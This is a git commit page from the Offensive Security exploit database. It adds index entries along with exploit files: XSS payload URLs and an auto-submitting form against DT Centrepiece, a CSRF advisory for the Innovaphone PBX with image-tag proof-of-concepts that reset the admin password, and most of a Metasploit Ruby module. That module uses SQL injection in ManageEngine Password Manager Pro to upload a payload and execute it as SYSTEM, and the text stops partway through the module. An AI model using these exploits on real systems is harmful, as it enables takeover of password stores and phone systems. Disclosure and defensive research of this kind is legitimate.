Updated 08_27_2014
This commit is contained in:
Offensive Security
parent
8c26b4a3bf
commit
22c266d149
6 changed files with 791 additions and 0 deletions
|
|
@ -30990,3 +30990,8 @@ id,file,description,date,author,platform,type,port
|
|||
34402,platforms/php/webapps/34402.txt,"OpenSolution Quick.Cart Local File Include and Cross Site Scripting Vulnerabilities",2009-10-08,kl3ryk,php,webapps,0
|
||||
34403,platforms/windows/dos/34403.pl,"Quick 'n Easy FTP Server 3.9.1 USER Command Remote Buffer Overflow Vulnerability",2010-07-22,demonalex,windows,dos,0
|
||||
34404,platforms/windows/dos/34404.pl,"K-Meleon 1.x URI Handling Multiple Denial of Service Vulnerabilities",2010-08-04,Lostmon,windows,dos,0
|
||||
34408,platforms/multiple/webapps/34408.txt,"Innovaphone PBX Admin-GUI - CSRF Vulnerability",2014-08-25,"Rainer Giedat",multiple,webapps,80
|
||||
34409,platforms/multiple/webapps/34409.rb,"ManageEngine Password Manager MetadataServlet.dat SQL Injection",2014-08-25,"Pedro Ribeiro",multiple,webapps,8020
|
||||
34410,platforms/php/webapps/34410.txt,"PHPFinance 0.6 'group.php' SQL Injection and HTML Injection Vulnerabilities",2010-08-05,skskilL,php,webapps,0
|
||||
34411,platforms/asp/webapps/34411.txt,"DT Centrepiece 4.5 Cross Site Scripting and Security Bypass Vulnerabilities",2010-08-05,"High-Tech Bridge SA",asp,webapps,0
|
||||
34412,platforms/php/webapps/34412.txt,"Hulihan Applications BXR 0.6.8 SQL Injection and HTML Injection Vulnerabilities",2010-08-05,"High-Tech Bridge SA",php,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
33
platforms/asp/webapps/34411.txt
Executable file
33
platforms/asp/webapps/34411.txt
Executable file
|
|
@ -0,0 +1,33 @@
|
|||
source: http://www.securityfocus.com/bid/42243/info
|
||||
|
||||
DT Centrepiece is prone to multiple cross-site scripting vulnerabilities and multiple security-bypass vulnerabilities.
|
||||
|
||||
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||
|
||||
The attacker may leverage the security bypass issues to activate arbitrary accounts and gain unauthorized access to the affected application.
|
||||
|
||||
DT Centrepiece 4.5 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/search.asp?searchFor=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
|
||||
http://www.example.com/login.asp?c=/%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
|
||||
|
||||
<form name="main" method="POST" action="http://www.example.com/register.asp">
|
||||
<input type="hidden" name="frmRegisterCheck" value="true">
|
||||
<input type="hidden" name="user" value='"><script>alert(document.cookie)</script>'>
|
||||
<input type="hidden" name="pass" value="">
|
||||
<input type="hidden" name="confirmPass" value="">
|
||||
<input type="hidden" name="FirstName" value="">
|
||||
<input type="hidden" name="LastName" value="">
|
||||
<input type="hidden" name="EmailAddress" value="">
|
||||
<input type="hidden" name="Address" value="">
|
||||
<input type="hidden" name="Country" value="">
|
||||
<input type="hidden" name="Landline" value="">
|
||||
<input type="hidden" name="Mobile" value="">
|
||||
</form>
|
||||
<script>
|
||||
document.main.submit();
|
||||
</script>
|
||||
|
||||
http://www.example.com/activate.asp?p=USERNAME
|
||||
|
||||
MM_Remember_Username=USERNAME
|
||||
60
platforms/multiple/webapps/34408.txt
Executable file
60
platforms/multiple/webapps/34408.txt
Executable file
|
|
@ -0,0 +1,60 @@
|
|||
Title: Innovaphone PBX Admin-GUI CSRF
|
||||
Impact: High
|
||||
CVSS2 Score: 7.8 (AV:N/AC:M/Au:S/C:P/I:C/A:C/E:F/RL:U/RC:C)
|
||||
Announced: August 21, 2014
|
||||
Reporter: Rainer Giedat (NSIDE ATTACK LOGIC GmbH, www.nsideattacklogic.de)
|
||||
Products: Innovaphone PBX Administration GUI
|
||||
Affected Versions: all known versions (tested 10.00 sr11)
|
||||
CVE-id: CVE-2014-5335
|
||||
|
||||
Summary
|
||||
=======
|
||||
|
||||
The innovaphone PBX is a powerful and sophisticated VoIP telephone system for use in professional business environments. In addition to a wide range of IP telephony functionalities, the innovaphone PBX is also equipped with a perfectly integrated Unified Communications solution that can be enabled as needed at any time and at any workspace.
|
||||
|
||||
The innovaphone PBX uses a web-based user interface. This UI is vulnerable to cross-site request forgery attacks (CSRF).
|
||||
|
||||
Description
|
||||
===========
|
||||
|
||||
The UI does not check if a request was sent originating from a page it delivered before or from an untrusted and potentially malicious source. With a CSRF attack a malicious third party is able to change any configurable items from remote if an administrator is logged in to the user interface and visits a malicious website or clicks a manipulated link under the control of the attacker.
|
||||
|
||||
The lack of a logout mechanism and the use of the digest authentication scheme increases the probability of successful exploitation, because the user session will never expire automatically.
|
||||
|
||||
Impact
|
||||
======
|
||||
|
||||
The attacker has full control over the innovaphone PBX and is able to manipulate every configuration item and user account data, as well as passwords. This can lead to the redirection of phone calls, denial of service and toll fraud by adding new SIP endpoints.
|
||||
|
||||
Proof on Concept
|
||||
================
|
||||
|
||||
Visiting a web page including the following HTML image tag will change the administrator’s password of the innovaphone PBX to 'hacked':
|
||||
|
||||
<img src="http://<<PBX>>/CMD0/mod_cmd.xml?cmd=form&redirect=mod_cmd.xml%3Fxsl%3Dcommand.xsl&name=&user=admin&password=hacked&password2=hacked&help=&add.user=&add.pwd=&add.pwd2=&add.level=0&add.end=&kdc.realm=&kdc.address1=&kdc.port1=&kdc.adminport1=&kdc.address2=&kdc.port2=&kdc.adminport2=&kdc.end=&op=OK"></img>
|
||||
|
||||
Visiting a web page including the following image will add a new SIP user:
|
||||
|
||||
<img src="http://<<PBX>>/PBX0/ADMIN/mod_cmd_login.xml?cmd=submit-object&xsl=pbx_edit_user.xsl&tab-active=&guid=&repsrc=&search-grp=&text=&cn=Hans+Dampf&dn=Hans+Dampf&h323=Hans+Dampf&e164=666&email=&pwd=hans&pwd1=hans&node=root&loc=Opfer&fake=&obj-url=&gi=&config=&no-devs=update&dev1.hw=&dev1.text=&dev1.admin=on&dev1.no-filter=on&dev1.reg=on&filter=&cd-filter=&cfnr=&busy-out=&uc=&gw.name=&gw.ipei=&gw.dsp=&gw.ac=&gw.subs=&gw.fc=&gw.cki=&gw.ciph=&gw.end=.&save=Apply"></img>
|
||||
|
||||
|
||||
Solution
|
||||
========
|
||||
|
||||
Innovaphone recommends to use a dedicated browser only for administration tasks regarding the PBX and close all browser instances when administration is done.
|
||||
More information can be found on the closed support wiki of innovaphone: http://wiki.innovaphone.com/index.php?title=Support:Protection_against_%22Cross-Site-Request-Forgery%22
|
||||
|
||||
This workaround makes sucessful exploitation harder, but an attacker may still be able to use special protocol-handlers to open URLs in different browsers.
|
||||
|
||||
No fix will be provided, since the vendor considers this to be a browser problem.
|
||||
|
||||
|
||||
Timeline
|
||||
========
|
||||
|
||||
2014-22-07 Bug found
|
||||
2014-28-07 Vendor contact
|
||||
2014-29-07 Vendor reply
|
||||
2014-29-07 Technical details provided
|
||||
2014-13-08 Vendor does not plan to patch for now, but provided a workaround
|
||||
2014-21-08 Public release
|
||||
634
platforms/multiple/webapps/34409.rb
Executable file
634
platforms/multiple/webapps/34409.rb
Executable file
|
|
@ -0,0 +1,634 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/file_dropper'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ManageEngine Password Manager MetadataServlet.dat SQL Injection",
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
|
||||
which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
|
||||
Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The
|
||||
SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as
|
||||
the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older
|
||||
or upgraded builds). MySQL targets are more reliable due to the use of relative paths;
|
||||
with PostgreSQL you should find the web root path via other means and specify it with
|
||||
WEB_ROOT.
|
||||
|
||||
The injection is only exploitable via a GET request, which means that the payload
|
||||
has to be sent in chunks smaller than 8000 characters (URL size limitation). Small
|
||||
payloads and the use of exe-small is recommended, as you can only do between 10 and
|
||||
20 injections before using up all the available ManagedConnections until the next
|
||||
server restart.
|
||||
|
||||
This vulnerability exists in all versions released since 2006, however builds below
|
||||
DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your
|
||||
luck using the MySQL targets as a JDK might be installed in the $PATH.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-3996' ],
|
||||
[ 'OSVDB', '110198' ],
|
||||
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/55' ]
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => %w{ linux win },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
|
||||
{
|
||||
'WebRoot' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\',
|
||||
'Database' => 'postgresql',
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
|
||||
{
|
||||
'WebRoot' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\',
|
||||
'Database' => 'postgresql',
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows',
|
||||
{
|
||||
'WebRoot' => '../../webapps/DesktopCentral/',
|
||||
'Database' => 'mysql',
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows',
|
||||
{
|
||||
'WebRoot' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\',
|
||||
'Database' => 'postgresql',
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows',
|
||||
{
|
||||
'WebRoot' => '../../webapps/PassTrix/',
|
||||
'Database' => 'mysql',
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux',
|
||||
{
|
||||
'WebRoot' => '/opt/ManageEngine/PMP/webapps/PassTrix/',
|
||||
'Database' => 'postgresql',
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux',
|
||||
{
|
||||
'WebRoot' => '../../webapps/PassTrix/',
|
||||
'Database' => 'mysql',
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false, # Privileged on Windows but not on Linux targets
|
||||
'DisclosureDate' => "Jun 8 2014"))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT',
|
||||
[true, 'The target port', 8020]),
|
||||
OptString.new('WEB_ROOT',
|
||||
[false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('CHUNK_SIZE',
|
||||
[true, 'Number of characters to send per request (< 7800)', 7500]),
|
||||
OptInt.new('SLEEP',
|
||||
[true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
|
||||
OptBool.new('EXE_SMALL',
|
||||
[true, 'Use exe-small encoding for better reliability', true]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
check_code = check_desktop_central
|
||||
|
||||
if check_code == Exploit::CheckCode::Unknown
|
||||
check_code = check_password_manager_pro
|
||||
end
|
||||
|
||||
check_code
|
||||
end
|
||||
|
||||
def exploit
|
||||
@my_target = pick_target
|
||||
if @my_target.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
|
||||
else
|
||||
print_status("#{peer} - Selected target #{@my_target.name}")
|
||||
end
|
||||
|
||||
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
|
||||
# Fail if this is the case to avoid polluting the web root any more.
|
||||
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /windows/i
|
||||
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
|
||||
end
|
||||
|
||||
if datastore['WEB_ROOT']
|
||||
web_root = datastore['WEB_ROOT']
|
||||
else
|
||||
web_root = @my_target['WebRoot']
|
||||
end
|
||||
|
||||
jsp_name = rand_text_alpha_lower(8) + ".jsp"
|
||||
fullpath = web_root + jsp_name
|
||||
inject_exec(fullpath)
|
||||
register_file_for_cleanup(fullpath.sub('../',''))
|
||||
|
||||
print_status("#{peer} - Requesting #{jsp_name}")
|
||||
send_request_raw({'uri' => normalize_uri(jsp_name)})
|
||||
end
|
||||
|
||||
# Test for Password Manager Pro
|
||||
def password_manager_paths
|
||||
db_paths = {}
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("PassTrixMain.cc"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /ManageEngine Password Manager Pro/
|
||||
if datastore['WEB_ROOT']
|
||||
db_paths[:postgresql] = datastore['WEB_ROOT'].dup
|
||||
db_paths[:mysql] = datastore['WEB_ROOT'].dup
|
||||
else
|
||||
db_paths[:postgresql] = targets[4]['WebRoot'].dup
|
||||
db_paths[:mysql] = targets[5]['WebRoot'].dup
|
||||
end
|
||||
end
|
||||
|
||||
db_paths
|
||||
end
|
||||
|
||||
# Test for Desktop Central
|
||||
def desktop_central_db_paths
|
||||
db_paths = {}
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("configurations.do"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /ManageEngine Desktop Central/
|
||||
if datastore['WEB_ROOT']
|
||||
db_paths[:postgresql] = datastore['WEB_ROOT'].dup
|
||||
db_paths[:mysql] = datastore['WEB_ROOT'].dup
|
||||
elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/
|
||||
db_paths[:postgresql] = targets[2]['WebRoot'].dup
|
||||
db_paths[:mysql] = targets[3]['WebRoot'].dup
|
||||
else
|
||||
db_paths[:postgresql] = targets[1]['WebRoot'].dup
|
||||
db_paths[:mysql] = targets[3]['WebRoot'].dup
|
||||
end
|
||||
end
|
||||
|
||||
db_paths
|
||||
end
|
||||
|
||||
def db_paths
|
||||
paths = desktop_central_db_paths
|
||||
|
||||
if paths.empty?
|
||||
paths = check_password_manager_pro
|
||||
end
|
||||
|
||||
paths
|
||||
end
|
||||
|
||||
def pick_mysql_target(mysql_path, rand_txt)
|
||||
file_path = mysql_path << rand_txt
|
||||
|
||||
# @@version_compile_os will give us Win32 / Win64 if it's a Windows target
|
||||
inject_sql("select @@version_compile_os into dumpfile '#{file_path}'", "mysql")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(rand_txt),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
register_file_for_cleanup(file_path.sub('../',''))
|
||||
if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/
|
||||
if mysql_path =~ /DesktopCentral/
|
||||
# Desktop Central [MSP] / MySQL / Windows
|
||||
return targets[3]
|
||||
else
|
||||
# Password Manager Pro / MySQL / Windows
|
||||
return targets[5]
|
||||
end
|
||||
else
|
||||
# Password Manager Pro / MySQL / Linux
|
||||
return targets[7]
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def pick_postgres_target(postgresql_path, rand_txt)
|
||||
file_path = postgresql_path << rand_txt
|
||||
|
||||
# version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux)
|
||||
inject_sql("copy (select version()) to '#{file_path}'", "postgresql")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(rand_txt),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
register_file_for_cleanup(file_path)
|
||||
if res.body.to_s =~ /Visual C++/
|
||||
if postgresql_path =~ /DesktopCentral_Server/
|
||||
# Desktop Central / PostgreSQL / Windows
|
||||
return targets[1]
|
||||
elsif postgresql_path =~ /DesktopCentralMSP_Server/
|
||||
# Desktop Central MSP / PostgreSQL / Windows
|
||||
return targets[2]
|
||||
else
|
||||
# Password Manager Pro / PostgreSQL / Windows
|
||||
return targets[4]
|
||||
end
|
||||
elsif res.body.to_s =~ /linux/
|
||||
# This is for the case when WEB_ROOT is provided
|
||||
# Password Manager Pro / PostgreSQL / Linux
|
||||
return targets[6]
|
||||
end
|
||||
end
|
||||
|
||||
# OK, it's Password Manager Pro on Linux, probably using PostgreSQL and
|
||||
# no WEB_ROOT was provided. Let's try one of the defaults before bailing out.
|
||||
file_path = targets[5]['WebRoot'].dup << rand_txt
|
||||
inject_sql("copy (select version()) to '#{file_path}'", "postgresql")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(rand_txt),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /linux/
|
||||
# Password Manager Pro / PostgreSQL / Linux
|
||||
return targets[6]
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def pick_target
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
print_status("#{peer} - Selecting target, this might take a few seconds...")
|
||||
rand_txt = rand_text_alpha_lower(8) << ".txt"
|
||||
|
||||
paths = db_paths
|
||||
|
||||
if paths.empty?
|
||||
# We don't know what this is, bail
|
||||
return nil
|
||||
end
|
||||
|
||||
postgresql_path = paths[:postgresql]
|
||||
mysql_path = paths[:mysql]
|
||||
|
||||
# try MySQL first, there are probably more of these out there
|
||||
mysql_target = pick_mysql_target(mysql_path, rand_txt)
|
||||
|
||||
unless mysql_target.nil?
|
||||
return mysql_target
|
||||
end
|
||||
|
||||
# didn't work, let's try PostgreSQL
|
||||
postgresql_target = pick_postgres_target(postgresql_path, rand_txt)
|
||||
|
||||
postgresql_target
|
||||
end
|
||||
|
||||
#
|
||||
# Creates the JSP that will assemble the payload on the server
|
||||
#
|
||||
def generate_jsp_encoded(files)
|
||||
native_payload_name = rand_text_alpha(rand(6)+3)
|
||||
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
|
||||
|
||||
var_raw = rand_text_alpha(rand(8) + 3)
|
||||
var_ostream = rand_text_alpha(rand(8) + 3)
|
||||
var_buf = rand_text_alpha(rand(8) + 3)
|
||||
var_decoder = rand_text_alpha(rand(8) + 3)
|
||||
var_tmp = rand_text_alpha(rand(8) + 3)
|
||||
var_path = rand_text_alpha(rand(8) + 3)
|
||||
var_proc2 = rand_text_alpha(rand(8) + 3)
|
||||
var_files = rand_text_alpha(rand(8) + 3)
|
||||
var_ch = rand_text_alpha(rand(8) + 3)
|
||||
var_istream = rand_text_alpha(rand(8) + 3)
|
||||
var_file = rand_text_alpha(rand(8) + 3)
|
||||
|
||||
files_decl = "{ "
|
||||
files.each { |file| files_decl << "\"#{file}\"," }
|
||||
files_decl[-1] = "}"
|
||||
|
||||
if @my_target['Platform'] == 'linux'
|
||||
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
chmod = %Q|
|
||||
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
|
||||
Thread.sleep(200);
|
||||
|
|
||||
|
||||
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
cleanup = %Q|
|
||||
Thread.sleep(200);
|
||||
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
||||
|
|
||||
else
|
||||
chmod = ''
|
||||
cleanup = ''
|
||||
end
|
||||
|
||||
jsp = %Q|
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="sun.misc.BASE64Decoder"%>
|
||||
<%
|
||||
String[] #{var_files} = #{files_decl};
|
||||
try {
|
||||
int #{var_ch};
|
||||
StringBuilder #{var_buf} = new StringBuilder();
|
||||
for (String #{var_file} : #{var_files}) {
|
||||
BufferedInputStream #{var_istream} =
|
||||
new BufferedInputStream(new FileInputStream(#{var_file}));
|
||||
while((#{var_ch} = #{var_istream}.read())!= -1)
|
||||
#{var_buf}.append((char)#{var_ch});
|
||||
#{var_istream}.close();
|
||||
}
|
||||
|
||||
BASE64Decoder #{var_decoder} = new BASE64Decoder();
|
||||
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
|
||||
|
||||
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
|
||||
String #{var_path} = #{var_tmp}.getAbsolutePath();
|
||||
|
||||
BufferedOutputStream #{var_ostream} =
|
||||
new BufferedOutputStream(new FileOutputStream(#{var_path}));
|
||||
#{var_ostream}.write(#{var_raw});
|
||||
#{var_ostream}.close();
|
||||
#{chmod}
|
||||
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
|
||||
#{cleanup}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
%>
|
||||
|
|
||||
|
||||
jsp = jsp.gsub(/\n/, '')
|
||||
jsp = jsp.gsub(/\t/, '')
|
||||
|
||||
if @my_target['Database'] == 'postgresql'
|
||||
# Ruby's base64 encoding adds newlines at every 60 chars, strip them
|
||||
[jsp].pack("m*").gsub(/\n/, '')
|
||||
else
|
||||
# Assuming mysql, applying hex encoding instead
|
||||
jsp.unpack("H*")[0]
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def inject_sql(sqli_command, target = nil)
|
||||
target = (target == nil) ? @my_target['Database'] : target
|
||||
if target == 'postgresql'
|
||||
sqli_prefix = "viewname\";"
|
||||
sqli_suffix = ";-- "
|
||||
else
|
||||
# Assuming mysql
|
||||
sqli_prefix = "viewname\" union "
|
||||
sqli_suffix = "#"
|
||||
end
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("LinkViewFetchServlet.dat"),
|
||||
'vars_get' => {
|
||||
'sv' => sqli_prefix << sqli_command << sqli_suffix
|
||||
}
|
||||
})
|
||||
|
||||
if target == 'postgresql'
|
||||
# PostgreSQL sometimes takes a while to write to the disk, so sleep more
|
||||
sleep(datastore['SLEEP'] * 2.5)
|
||||
else
|
||||
# Assuming mysql
|
||||
sleep(datastore['SLEEP'])
|
||||
end
|
||||
end
|
||||
|
||||
# Generate the actual payload
|
||||
def generate_exe_payload
|
||||
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
|
||||
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
|
||||
if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win'
|
||||
exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform,
|
||||
payload.encoded, "exe-small", opts)
|
||||
else
|
||||
exe = generate_payload_exe(opts)
|
||||
end
|
||||
Rex::Text.encode_base64(exe)
|
||||
end
|
||||
|
||||
# Uploads the payload in chunks
|
||||
def inject_exec(fullpath)
|
||||
base64_exe = generate_exe_payload
|
||||
base64_exe_len = base64_exe.length
|
||||
|
||||
# We will be injecting in CHUNK_SIZE steps
|
||||
chunk_size = datastore['CHUNK_SIZE']
|
||||
copied = 0
|
||||
counter = 0
|
||||
if base64_exe_len < chunk_size
|
||||
chunk_size = base64_exe_len
|
||||
end
|
||||
chunks = (base64_exe_len.to_f / chunk_size).ceil
|
||||
time = chunks * datastore['SLEEP'] *
|
||||
((@my_target['Database'] == 'postgresql') ? 2.5 : 1)
|
||||
|
||||
# We dump our files in either C:\Windows\system32 or /tmp
|
||||
# It's not very clean, but when using a MySQL target we have no other choice
|
||||
# as we are using relative paths for injection.
|
||||
# The Windows path has to be escaped with 4 backslashes because ruby eats one
|
||||
# and the JSP eats the other.
|
||||
files = Array.new(chunks)
|
||||
files.map! do |file|
|
||||
if @my_target['Platform'] == 'win'
|
||||
file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3)
|
||||
else
|
||||
# Assuming Linux, let's hope we can write to /tmp
|
||||
file = "/tmp/" + rand_text_alpha(rand(8)+3)
|
||||
end
|
||||
end
|
||||
|
||||
print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks} chunks in #{time} seconds")
|
||||
|
||||
if @my_target['Database'] == 'postgresql'
|
||||
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
|
||||
else
|
||||
# Assuming mysql
|
||||
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
|
||||
end
|
||||
register_file_for_cleanup(files[counter])
|
||||
copied += chunk_size
|
||||
counter += 1
|
||||
|
||||
while copied < base64_exe_len
|
||||
if (copied + chunk_size) > base64_exe_len
|
||||
# Last loop
|
||||
chunk_size = base64_exe_len - copied
|
||||
end
|
||||
if @my_target['Database'] == 'postgresql'
|
||||
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
|
||||
else
|
||||
# Assuming mysql
|
||||
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
|
||||
end
|
||||
register_file_for_cleanup(files[counter])
|
||||
copied += chunk_size
|
||||
counter += 1
|
||||
end
|
||||
|
||||
jsp_encoded = generate_jsp_encoded(files)
|
||||
if @my_target['Database'] == 'postgresql'
|
||||
inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8')) to '#{fullpath}'")
|
||||
else
|
||||
inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'")
|
||||
end
|
||||
end
|
||||
|
||||
def check_desktop_central_8(body)
|
||||
if body =~ /id="buildNum" value="([0-9]+)"\/>/
|
||||
build = $1
|
||||
if ver_gt(build, '80200')
|
||||
print_status("#{peer} - Detected Desktop Central v8 #{build}")
|
||||
else
|
||||
print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
|
||||
end
|
||||
else
|
||||
print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
|
||||
end
|
||||
# DC v8 < 80200 uses the MySQL database
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def check_desktop_central_9(body)
|
||||
if body =~ /id="buildNum" value="([0-9]+)"\/>/
|
||||
build = $1
|
||||
print_status("#{peer} - Detected Desktop Central v9 #{build}")
|
||||
if ver_lt(build, '90039')
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Test for Desktop Central
|
||||
def check_desktop_central
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("configurations.do"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/
|
||||
# DC v7 uses the MySQL database
|
||||
print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
|
||||
return check_desktop_central_8(res.body.to_s)
|
||||
elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ ||
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
|
||||
return check_desktop_central_9(res.body.to_s)
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# Test for Password Manager Pro
|
||||
def check_password_manager_pro
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("PassTrixMain.cc"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.code == 200 &&
|
||||
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
|
||||
(
|
||||
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
|
||||
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
|
||||
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
|
||||
)
|
||||
build = $1
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
||||
if ver_lt_eq(build, '6500')
|
||||
# if it's a build below 6500, it will only work if we have a JSP compiler
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (needs a JSP compiler)")
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif ver_lt(build, '6800')
|
||||
# PMP v6 < 6800 uses the MySQL database
|
||||
